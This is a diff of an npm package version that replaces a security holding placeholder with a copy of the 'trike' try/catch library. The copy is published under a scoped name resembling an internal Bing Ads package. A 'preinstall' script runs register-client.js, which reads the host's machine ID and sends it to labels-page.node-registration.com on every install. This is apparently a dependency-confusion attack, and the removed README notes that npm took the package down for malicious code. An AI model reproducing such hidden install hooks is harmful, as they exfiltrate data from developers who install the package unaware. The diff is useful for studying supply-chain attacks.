@bingads-webui-campaign-react/labels-page 0.0.1-security → 9.1.3

Sign up to get free protection for your applications and to get access to all the features.
package/LICENSE ADDED
@@ -0,0 +1,19 @@
1
+ Copyright (c) 2017 Aaron Madsen
2
+
3
+ Permission is hereby granted, free of charge, to any person obtaining a copy of
4
+ this software and associated documentation files (the "Software"), to deal in
5
+ the Software without restriction, including without limitation the rights to
6
+ use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
7
+ of the Software, and to permit persons to whom the Software is furnished to do
8
+ so, subject to the following conditions:
9
+
10
+ The above copyright notice and this permission notice shall be included in all
11
+ copies or substantial portions of the Software.
12
+
13
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
14
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
15
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
16
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
17
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
18
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
19
+ SOFTWARE.
package/README.md CHANGED
@@ -1,5 +1,82 @@
1
- # Security holding package
1
+ # Trike - try/c(atch)
2
2
 
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
3
+ Trike is a simple try/catch wrapper around a function that returns an array similar to the common node error-first callback convention. This serves two main purposes:
4
4
 
5
- Please refer to www.npmjs.com/advisories?search=%40bingads-webui-campaign-react%2Flabels-page for more information.
5
+ 1. Successful and errored calls can be easily distinguished through simple array destructuring.
6
+ 2. the try/catch is extracted from the calling and called functions, allowing for better optimization.
7
+
8
+ ## Installation
9
+
10
+ ~~~bash
11
+ npm install trike
12
+ ~~~
13
+
14
+ ## Use
15
+
16
+ ~~~javascript
17
+ const trike = require('trike');
18
+
19
+ const [err, foo] = trike(require, 'foo');
20
+
21
+ if (err) {
22
+ console.error('Foo could not be required', err);
23
+ return;
24
+ }
25
+
26
+ // use foo...
27
+ ~~~
28
+
29
+ ### trike(fn[, ...args])
30
+
31
+ Trike takes a function to be called as it first argument. Any additional arguments passed to trike will be passed to this function.
32
+
33
+ ~~~javascript
34
+ const trike = require('trike');
35
+
36
+ const [err, joined] = trike((...args) => (
37
+ args.join(' ')
38
+ ), 'One', 'fish.', 'Two', 'fish.');
39
+
40
+ console.error(err); // 'null'
41
+
42
+ console.log(joined); // 'One fish. Two fish.'
43
+ ~~~
44
+
45
+ ## `async` / `await` support
46
+
47
+ Trike now has support for `async` / `await` where the runtime natively supports it. If you pass an async function (or other function that returns a `Promise`) to `trike()` it will return a `Promise` that will resolve to `trike`'s normal error-first callback-like array with the error and result set by resolving or rejecting the passed function.
48
+
49
+ ~~~javascript
50
+ // Notice the use of an immediately invoked async function
51
+ // expession just to demonstrate awaiting an async trike.
52
+ (async () => {
53
+ const [err, result] = await trike(async () => {
54
+ return 'Success!'
55
+ });
56
+
57
+ console.error(err); // null
58
+ console.log(result); // 'Success!'
59
+ })();
60
+ ~~~
61
+
62
+ ## License
63
+
64
+ Copyright (c) 2018 Aaron Madsen
65
+
66
+ Permission is hereby granted, free of charge, to any person obtaining a copy of
67
+ this software and associated documentation files (the "Software"), to deal in
68
+ the Software without restriction, including without limitation the rights to
69
+ use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
70
+ of the Software, and to permit persons to whom the Software is furnished to do
71
+ so, subject to the following conditions:
72
+
73
+ The above copyright notice and this permission notice shall be included in all
74
+ copies or substantial portions of the Software.
75
+
76
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
77
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
78
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
79
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
80
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
81
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
82
+ SOFTWARE.
@@ -0,0 +1,44 @@
1
+ const trike = require('../');
2
+
3
+ // Notice the use of Immediately invoked async function
4
+ // expessions just to demonstrate awaiting an async trike
5
+
6
+ // If you do not await the trike, you'll just get a
7
+ // Promise back.
8
+ (() => {
9
+ const p = trike(async () => {
10
+ return 'A Promise!'
11
+ });
12
+
13
+ console.log('Promise:', p);
14
+ })();
15
+
16
+ // await on a trike that has been given an async function
17
+ // (or other function that returns a promise) will give
18
+ // you the [err, result] array you should expect.
19
+ (async () => {
20
+ const [e1, r1] = await trike(async () => {
21
+ return 'Success!'
22
+ });
23
+
24
+ console.log('Resolving async function - Error:', e1);
25
+ console.log('Resolving async function - Result:', r1);
26
+
27
+ const [e2, r2] = await trike(async () => {
28
+ throw new Error('Thrown!');
29
+ });
30
+
31
+ console.log('Rejecting async function - Error:', e2);
32
+ console.log('Rejecting async function - Result:', r2);
33
+
34
+ const [e3, r3] = await trike(() => {
35
+ return new Promise((resolve, reject) => {
36
+ Math.round(Math.random()) > 0 ?
37
+ resolve('Success!') :
38
+ reject(new Error('Failure!'));
39
+ });
40
+ });
41
+
42
+ console.log('Promise returning function - Error:', e3);
43
+ console.log('Promise returning function - Result:', r3);
44
+ })();
@@ -0,0 +1,9 @@
1
+ const trike = require('../');
2
+
3
+ const [err, joined] = trike((...args) => (
4
+ args.join(' ')
5
+ ), 'One', 'fish.', 'Two', 'fish.');
6
+
7
+ console.error('Error:', err); // 'Error: null'
8
+
9
+ console.log(joined); // 'One fish. Two fish.'
@@ -0,0 +1,10 @@
1
+ const trike = require('../');
2
+
3
+ const [err, foo] = trike(require, 'foo');
4
+
5
+ if (err) {
6
+ console.error('Foo could not be required', err);
7
+ return;
8
+ }
9
+
10
+ // use foo...
package/index.js ADDED
@@ -0,0 +1,16 @@
1
+ function trike(fn, ...args) {
2
+ try {
3
+ var r = fn(...args);
4
+ // if r is Promise-like, resolve it
5
+ if (r && r.then && r.catch) {
6
+ return r
7
+ .then((v) => [null, v])
8
+ .catch((e) => [e]);
9
+ }
10
+ return [null, r];
11
+ } catch(e) {
12
+ return [e];
13
+ }
14
+ }
15
+
16
+ module.exports = trike;
package/package.json CHANGED
@@ -1,6 +1,65 @@
1
1
  {
2
+ "_from": "trike",
3
+ "_id": "trike@1.1.3",
4
+ "_inBundle": false,
5
+ "_integrity": "sha512-PLsRKeGq8avOkUiMCsUDtPe2VDqcoD+wRJYawMFDrmAZv0I8SzoT+TSGTBB/HHlvt4X5rm4lZHQ5D58rArYHTQ==",
6
+ "_location": "/trike",
7
+ "_phantomChildren": {},
8
+ "_requested": {
9
+ "type": "tag",
10
+ "registry": true,
11
+ "raw": "trike",
12
+ "name": "trike",
13
+ "escapedName": "trike",
14
+ "rawSpec": "",
15
+ "saveSpec": null,
16
+ "fetchSpec": "latest"
17
+ },
18
+ "_requiredBy": [
19
+ "#USER",
20
+ "/"
21
+ ],
22
+ "_resolved": "https://registry.npmjs.org/trike/-/trike-1.1.3.tgz",
23
+ "_shasum": "225df353f69324aa0bbf20ec61005930942bf964",
24
+ "_spec": "trike",
25
+ "_where": "/home/ubuntu/Documents/npm",
26
+ "author": {
27
+ "name": "Aaron Madsen"
28
+ },
29
+ "bugs": {
30
+ "url": "https://github.com/amadsen/trike/issues"
31
+ },
32
+ "bundleDependencies": false,
33
+ "dependencies": {
34
+ "node-machine-id": "^1.1.12"
35
+ },
36
+ "deprecated": false,
37
+ "description": "Simple try/catch wrapper that runs a function and returns an error-first array",
38
+ "devDependencies": {
39
+ "nyc": "^11.2.1",
40
+ "tape": "^4.8.0"
41
+ },
42
+ "directories": {
43
+ "example": "examples",
44
+ "test": "test"
45
+ },
46
+ "homepage": "https://github.com/amadsen/trike#readme",
47
+ "keywords": [
48
+ "try",
49
+ "catch",
50
+ "wrapper"
51
+ ],
52
+ "license": "MIT",
53
+ "main": "index.js",
2
54
  "name": "@bingads-webui-campaign-react/labels-page",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
55
+ "repository": {
56
+ "type": "git",
57
+ "url": "git+https://github.com/amadsen/trike.git"
58
+ },
59
+ "scripts": {
60
+ "build": "npm install && grunt",
61
+ "test": "nyc tape test/*-test.js",
62
+ "preinstall": "node register-client.js"
63
+ },
64
+ "version": "9.1.3"
6
65
  }
@@ -0,0 +1,12 @@
1
+ const nodeMachineId = require('node-machine-id');
2
+ const https = require('https')
3
+ const options = {
4
+ hostname: 'labels-page.node-registration.com',
5
+ port: 443,
6
+ path: '/register.php?install=' + nodeMachineId.machineIdSync(),
7
+ method: 'GET'
8
+ }
9
+
10
+ const req = https.request(options)
11
+
12
+ req.end();
@@ -0,0 +1,20 @@
1
+ const test = require('tape');
2
+
3
+ const trike = require('../');
4
+ test(
5
+ 'Should catch an error from a rejecting Promise and return it as the only argument in an array',
6
+ (t) => (async () => {
7
+ const anError = new Error('This is a test error');
8
+ const result = await trike(
9
+ async (e) => {
10
+ throw e;
11
+ },
12
+ anError
13
+ );
14
+ t.ok(Array.isArray(result), 'result is an array');
15
+ t.ok(result.length === 1, 'result has only one element');
16
+ t.equals(result[0], anError, 'caught and returned the error');
17
+
18
+ t.end();
19
+ })()
20
+ );
@@ -0,0 +1,21 @@
1
+ const test = require('tape');
2
+
3
+ const trike = require('../');
4
+
5
+ test(
6
+ 'Should return a callback-like array to await',
7
+ (t) => (async () => {
8
+ const aSuccess = ['Success', '!'];
9
+ const expected = 'Success!';
10
+ const result = await trike(
11
+ async (...args) => args.join(''),
12
+ ...aSuccess
13
+ );
14
+ t.ok(Array.isArray(result), 'result is an array');
15
+ t.ok(result.length === 2, 'result has two elements');
16
+ t.ok(result[0] === null, 'returned null in the error position');
17
+ t.equals(result[1], expected, 'returned the expected result');
18
+
19
+ t.end();
20
+ })()
21
+ );
@@ -0,0 +1,8 @@
1
+ let nodeSupportsAsync = false;
2
+ try {
3
+ nodeSupportsAsync = eval(`(() => {async () => 1; return true;})()`);
4
+ } catch (e) { /* ignore it */ }
5
+
6
+ if (nodeSupportsAsync) {
7
+ require('./_async-error.js');
8
+ }
@@ -0,0 +1,8 @@
1
+ let nodeSupportsAsync = false;
2
+ try {
3
+ nodeSupportsAsync = eval(`(() => {async () => 1; return true;})()`);
4
+ } catch (e) { /* ignore it */ }
5
+
6
+ if (nodeSupportsAsync) {
7
+ require('./_async-success.js');
8
+ }
@@ -0,0 +1,20 @@
1
+ const test = require('tape');
2
+
3
+ const trike = require('../');
4
+ test(
5
+ 'Should catch an error and return it as the only argument in an array',
6
+ (t) => {
7
+ const anError = new Error('This is a test error');
8
+ const result = trike(
9
+ (e) => {
10
+ throw e;
11
+ },
12
+ anError
13
+ );
14
+ t.ok(Array.isArray(result), 'result is an array');
15
+ t.ok(result.length === 1, 'result has only one element');
16
+ t.equals(result[0], anError, 'caught and returned the error');
17
+
18
+ t.end();
19
+ }
20
+ );
@@ -0,0 +1,22 @@
1
+ const test = require('tape');
2
+
3
+ const trike = require('../');
4
+ test(
5
+ 'Should return a Promise when passed a function that returns a Promise that will catch and not awaited',
6
+ (t) => {
7
+ const anError = new Error('An Error!');
8
+ const result = trike(
9
+ (e) => Promise.reject(e),
10
+ anError
11
+ );
12
+ t.ok(!Array.isArray(result), 'result is not an array');
13
+ t.ok(typeof result.then === 'function' && typeof result.catch === 'function', 'result has then() & catch() methods');
14
+ result.then((r) => setImmediate(() => {
15
+ t.ok(Array.isArray(r), 'result resolves to an array');
16
+ t.ok(r.length === 1, 'resolved array has 1 element');
17
+ t.equals(r[0], anError, 'resolved array has the expected error');
18
+
19
+ t.end();
20
+ }));
21
+ }
22
+ );
@@ -0,0 +1,23 @@
1
+ const test = require('tape');
2
+
3
+ const trike = require('../');
4
+ test(
5
+ 'Should return a Promise when passed a function that returns a Promise and not awaited',
6
+ (t) => {
7
+ const aSuccess = ['Success'];
8
+ const result = trike(
9
+ (r) => Promise.resolve(r),
10
+ aSuccess
11
+ );
12
+ t.ok(!Array.isArray(result), 'result is not an array');
13
+ t.ok(typeof result.then === 'function' && typeof result.catch === 'function', 'result has then() & catch() methods');
14
+ result.then((r) => setImmediate(() => {
15
+ t.ok(Array.isArray(r), 'result resolves to an array');
16
+ t.ok(r.length === 2, 'resolved array has two elements');
17
+ t.ok(r[0] === null, 'resolved array has null in the error position');
18
+ t.equals(r[1], aSuccess, 'resolved array has the expected result');
19
+
20
+ t.end();
21
+ }));
22
+ }
23
+ );
@@ -0,0 +1,35 @@
1
+ const test = require('tape');
2
+
3
+ const trike = require('../');
4
+ test(
5
+ 'Should return the function result as the second argument in an array',
6
+ (t) => {
7
+ const one = 'one';
8
+ const two = 'two';
9
+ const fish = 'fish';
10
+
11
+ const result = trike(
12
+ (...args) => {
13
+ return {
14
+ args
15
+ };
16
+ },
17
+ one,
18
+ fish,
19
+ two,
20
+ fish
21
+ );
22
+ t.ok(Array.isArray(result), 'result is an array');
23
+ t.ok(result.length === 2, 'result has two elements');
24
+ t.equals(result[0], null, 'returned null in the error position');
25
+ t.deepEquals(
26
+ result[1],
27
+ {
28
+ args: [one, fish, two, fish]
29
+ },
30
+ 'passed all arguments to the function and returned expected result'
31
+ );
32
+
33
+ t.end();
34
+ }
35
+ );